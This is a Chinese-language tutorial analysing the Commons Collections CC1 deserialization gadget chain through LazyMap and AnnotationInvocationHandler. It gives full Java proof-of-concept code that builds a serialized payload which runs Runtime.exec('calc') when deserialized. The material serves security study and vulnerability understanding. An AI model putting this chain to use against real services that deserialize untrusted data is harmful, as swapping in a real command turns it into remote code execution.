前言
前面我们介绍了TransformedMap的构造链,这条链易于理解,适合快速构造验证。今天我们来对之前的内容做补充,讲一下LazyMap这条构造链,该链是ysoserial中CC1链的构造方式,相比于TransformedMap的构造链,LazyMap链结构相对复杂但更灵活、扩展性强,LazyMap作为CC1的代表,其核心是懒加载和灵活插入的transform操作
链子有一部分跟之前TransformedMap构造链一样,如果忘记了如何构造,可以看看文章:Java反序列化 CC1链分析
先放个TransformedMap链的图回忆一下

初步探索
首先,我们先找哪些地方调用了transform,可以回到Transformer.java中alt+F7查找用法

之前我们走的是TransformedMap.checkSetValue(),这次我们就不走这个了,走LazyMap的get方法

要求满足map.containsKey(key) == false才可以进入if语句调用transform,也就是要求map里面没有对应的key键名
接着我们看看LazyMap的构造方法

可以传入factory,也就是get方法里的factory是可控的,但是该构造方法被protected修饰,不能直接调用,我们继续往下分析

发现decorate方法返回了构造方法实例,且是public修饰,符合我们的要求
我们尝试构造代码,最后那里跟CC1调用ChainedTransformer()和InvokerTransformer()那部分一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class Main { public static void main(String[] args) throws Exception { Class cs = Runtime.class; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(cs), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<>(); Map decorate = LazyMap.decorate(map, chainedTransformer); decorate.get("key"); } }
|
成功弹出计算器

逐步完善
接下来我们就是要找哪里调用了get方法,alt+F7查找用法

get方法的调用点非常多,有好几千个,在ysoserial工具中,作者最终使用了AnnotationInvocationHandler类作为触发get方法的关键跳板,其中的invoke里调用了get方法

为了能顺利调用get方法,我们需要绕过前面的两个if语句
首先是第一个
1
| if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
|
我们只要调用的方法名不为equals就好
第二个
1
| if (paramTypes.length != 0)
|
要长度为0绕过,我们调用无参方法即可
然后我们分析构造函数

发现memberValues可控,但是该构造函数没有修饰符在前面,也就是为默认的Package-local类型,无法直接外部调用,那我们可以用反射来实现
接下来就是看看如何触发invoke方法,我们来到开头这里,看到AnnotationInvocationHandler类实现了InvocationHandler接口

实现了InvocationHandler接口,表示该类可以作为动态代理的代理处理器,当调用代理对象的方法就会自动跳转到该类重写后的invoke方法执行,也就是我们前面提到的那个invoke,实现逻辑增强
如果对动态代理的概念不太熟悉,可以看看这两篇文章:
动态代理 - Java教程 - 廖雪峰的官方网站
Java动态代理实现全解析:原理、实战与最佳实践
这样如何触发invoke的问题就解决了,我们把AnnotationInvocationHandler作为代理处理器就可以,剩下要解决的问题就是如何调用无参方法
我们继续分析AnnotationInvocationHandler类,发现readObject方法里调用了无参方法,刚好这里还是反序列化的入口,一举两得

可以看到for循环里面对memberValues调用了无参方法entrySet(),而entrySet()是Map接口的一个抽象方法,且LazyMap是实现了Map接口的,符合我们的要求

接下来我们来构造代码,先通过反射创建AnnotationInvocationHandler的构造实例,注意类型要强制转换为InvocationHandler
1 2 3 4
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) annotationConstructor.newInstance(Override.class, decorate);
|
然后利用Proxy.newProxyInstance()创建Map接口的代理对象,设置handler为其代理处理器。接着再实例化构造器annotationConstructor,注解类我们随便传个Override,然后Map设置为proxy,完成闭环
1 2
| Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler); Object o = annotationConstructor.newInstance(Override.class, proxy);
|
为了方便理解,我们放个图,这就是LazyMap的构造链

最终利用
根据前面的内容,我们把代码结合起来,得到完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public class Main { public static void main(String[] args) throws Exception { Class cs = Runtime.class; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(cs), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<>(); Map decorate = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) annotationConstructor.newInstance(Override.class, decorate);
Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler); Object o = annotationConstructor.newInstance(Override.class, proxy);
serialize(o); unserialize("cc1.ser");
} public static void serialize(Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser")); oos.writeObject(obj); } public static void unserialize(String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); } }
|
成功弹出计算器

至此,CC1的LazyMap链分析完成